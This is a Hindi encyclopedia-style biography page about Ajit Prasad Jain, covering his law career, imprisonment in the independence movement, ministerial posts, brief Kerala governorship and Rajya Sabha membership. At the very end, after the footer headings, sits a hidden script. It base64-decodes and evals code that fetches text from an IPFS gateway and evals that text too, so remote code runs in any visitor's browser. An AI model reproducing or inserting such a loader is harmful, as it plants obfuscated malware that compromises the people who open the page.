अजित प्रसाद जैन

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
अजित प्रसाद जैन
अजित प्रसाद जैन
पूरा नाम अजित प्रसाद जैन
जन्म अक्टूबर, 1902, मेरठ
जन्म भूमि मेरठ, उत्तर प्रदेश
मृत्यु 2 जनवरी, 1977
नागरिकता भारतीय
प्रसिद्धि स्वतंत्रता सेनानी और राजनीतिग़ु
शिक्षा क़ानून की डिग्री
विद्यालय लखनऊ विश्वविद्यालय
अन्य जानकारी स्वतंत्रता के बाद पहले अजित प्रसाद जैन संविधान सभा के सदस्य और बाद में लोकसभा के सदस्य चुने गए। केंद्र सरकार में उन्होंने पुनर्वास, खाद्य और कृषि मंत्री के रूप में कार्य किया।

अजित प्रसाद जैन (अंग्रेज़ी: Ajit Prasad Jain, जन्म- अक्टूबर, 1902, मेरठ; मृत्यु- 2 जनवरी, 1977) स्वतंत्रता सेनानी और प्रसिद्ध राष्ट्रीय कार्यकर्ता थे। वे कई वर्षों तक अखिल भारतीय कांग्रेस के सदस्य रहे। स्वतंत्रता के बाद अजित प्रसाद जैन पहले संविधान सभा के सदस्य और बाद में लोकसभा के सदस्य चुने गए।

परिचय

अजित प्रसाद जैन का जन्म 1902 ई. में मेरठ, उत्तर प्रदेश में हुआ था। लखनऊ विश्वविद्यालय से क़ानून की डिग्री लेने के बाद उन्होंने वकालत प्रारंभ की और सहारनपुर को अपना कार्यक्षेत्र बनाया।

जेलयात्रा

शीघ्र ही अजित प्रसाद जैन कांग्रेस में सम्मिलित हो गए और 1930 में सविनय अवज्ञा आंदोलन से जेल यात्रा का जो सिलसिला शुरू हुआ, वह देश के आजाद होने तक चलता रहा।

विभिन्न पदों पर कार्य

उत्तर प्रदेश कांग्रेस के विभिन्न पदों पर वे रहे और बाद में इसके अध्यक्ष (1960 से 1964 तक) भी बने। अखिल भारतीय कांग्रेस के सदस्य भी वे कई वर्षों तक रहे। सन 1935 के प्रथम निर्वाचन में अजित प्रसाद जैन उत्तर प्रदेश विधानसभा के सदस्य चुने गए और पंत जी के प्रथम मंत्रिमंडल में सभा सचिव बने। स्वतंत्रता के बाद पहले वह संविधान सभा के सदस्य और बाद में लोकसभा के सदस्य चुने गए। केंद्र सरकार में उन्होंने पुनर्वास, खाद्य और कृषि मंत्री के रूप में कार्य किया।

राज्यपाल

सन 1965 में अजित प्रसाद जैन को केरल प्रदेश का राज्यपाल बनाया गया। इस पद पर वे लगभग 1 वर्ष तक रहे। यह आरोप लगने पर कि वह इंदिरा गांधी के पक्ष में राजनीतिक गतिविधियों में भी भाग ले रहे हैं, जैन ने अपना पद छोड़ दिया।

राज्यसभा सदस्य

अजित प्रसाद जैन फिर सक्रिय राजनीति में आ गए और राज्यसभा के सदस्य चुने गए। वे सिंचाई आयोग के अध्यक्ष, जमींदारी उन्मूलन समिति उत्तर प्रदेश के सदस्य, उत्तर प्रदेश पुलिस आयोग के अध्यक्ष आदि पदों पर भी रहे।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>